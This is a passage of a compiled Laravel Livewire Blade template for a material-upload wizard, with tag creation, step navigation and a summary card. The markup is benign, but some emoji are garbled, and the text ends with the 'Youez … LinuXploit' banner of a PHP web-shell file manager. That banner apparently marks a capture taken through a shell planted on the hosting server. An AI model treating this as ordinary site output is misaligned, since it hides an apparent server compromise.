                                    wire:keydown.enter="createAndAddTag"
                                    type="text"
                                    placeholder="Create new tag..."
                                    class="flex-1 rounded-lg border-slate-300 text-sm focus:border-navy-500 focus:ring-navy-500"
                                >
                                <button
                                    wire:click="createAndAddTag"
                                    class="px-4 py-2 rounded-lg bg-slate-100 text-slate-600 hover:bg-slate-200 text-sm font-medium"
                                >
                                    + Tag
                                </button>
                            </div>
                        </div>
                    </div>

                    </div>

                    
                    <div class="flex items-center justify-between pt-6 mt-6 border-t">
                        <button wire:click="previousStep" class="text-slate-500 hover:text-slate-700 font-medium">
                            ← Back
                        </button>
                        <button
                            wire:click="nextStep"
                            class="inline-flex items-center gap-2 rounded-lg bg-navy-600 px-6 py-2.5 text-sm font-semibold text-white shadow-sm hover:bg-navy-500"
                        >
                            Next: Summary
                            <svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7" />
                            </svg>
                        </button>
                    </div>
                </div>
            </div>
        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

        
        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($step === 4): ?>
            <div class="bg-white rounded-2xl shadow-xl overflow-hidden">
                
                <div class="p-6">
                    <div class="flex items-start gap-4">
                        
                        <div class="w-24 h-24 rounded-lg bg-gradient-to-br from-navy-100 to-purple-100 flex items-center justify-center flex-shrink-0 overflow-hidden">
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($thumbnailUrl): ?>
                                <img src="<?php echo e($thumbnailUrl); ?>" alt="" class="w-full h-full object-cover">
                            <?php else: ?>
                                <span class="text-4xl">
                                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php switch($type):
                                        case ('book'): ?> πŸ“š <?php break; ?>
                                        <?php case ('article'): ?> πŸ“„ <?php break; ?>
                                        <?php case ('chapter'): ?> πŸ“‘ <?php break; ?>
                                        <?php case ('podcast'): ?> 🎧 <?php break; ?>
                                        <?php case ('video'): ?> 🎬 <?php break; ?>
                                        <?php case ('course'): ?> πŸŽ“ <?php break; ?>
                                        <?php case ('website'): ?> 🌐 <?php break; ?>
                                        <?php default: ?> πŸ”—
                                    <?php endswitch; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                </span>
                            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                        </div>

                        <div class="flex-1 min-w-0">
                            <div class="flex items-center gap-2 mb-1">
                                <span class="inline-flex px-2 py-0.5 rounded-full bg-navy-100 text-navy-700 text-xs font-medium">
                                    <?php echo e($types[$type]['label'] ?? $type); ?>

                                </span>
                            </div>
                            <h2 class="text-xl font-bold text-slate-900"><?php echo e($title); ?></h2>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($author): ?>
                                <p class="text-slate-600"><?php echo e($author); ?></p>
                            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($source): ?>
                                <p class="text-sm text-slate-500"><?php echo e($source); ?></p>
                            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                        </div>
                    </div>

                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($description): ?>
                        <div class="mt-4 p-4 bg-slate-50 rounded-lg">
                            <p class="text-slate-700"><?php echo e($description); ?></p>
                        </div>
                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                    
                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($selectedTags) > 0): ?>
                        <div class="mt-4">
                            <p class="text-sm font-medium text-slate-700 mb-2">Tags</p>
                            <div class="flex flex-wrap gap-2">
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $allTags->whereIn('id', $selectedTags); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                    <span
                                        class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium text-white"
                                        style="background-color: <?php echo e($tag->color); ?>"
                                    >
                                        <?php echo e($tag->name); ?>

                                    </span>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                            </div>
                        </div>
                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                    
                    <div class="mt-6 p-4 bg-green-50 rounded-lg border border-green-200">
                        <div class="flex items-center gap-3">
                            <span class="flex h-10 w-10 items-center justify-center rounded-full bg-green-100 text-green-600">
                                <svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" />
                                </svg>
                            </span>
                            <div>
                                <p class="font-medium text-green-900">Ready to Save</p>
                                <p class="text-sm text-green-700">The material will be added to the collection</p>
                            </div>
                        </div>
                    </div>

                    
                    <div class="flex items-center justify-between pt-6 mt-6 border-t">
                        <button wire:click="previousStep" class="text-slate-500 hover:text-slate-700 font-medium">
                            ← Back to edit
                        </button>
                        <button
                            wire:click="save"
                            class="inline-flex items-center gap-2 rounded-lg bg-green-600 px-8 py-3 text-sm font-semibold text-white shadow-sm hover:bg-green-500 transition-colors"
                        >
                            <svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" />
                            </svg>
                            Save Material
                        </button>
                    </div>
                </div>
            </div>
        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
    </div>
</div>
<?php /**PATH /var/www/html/flnavigator/resources/views/livewire/upload-wizard.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit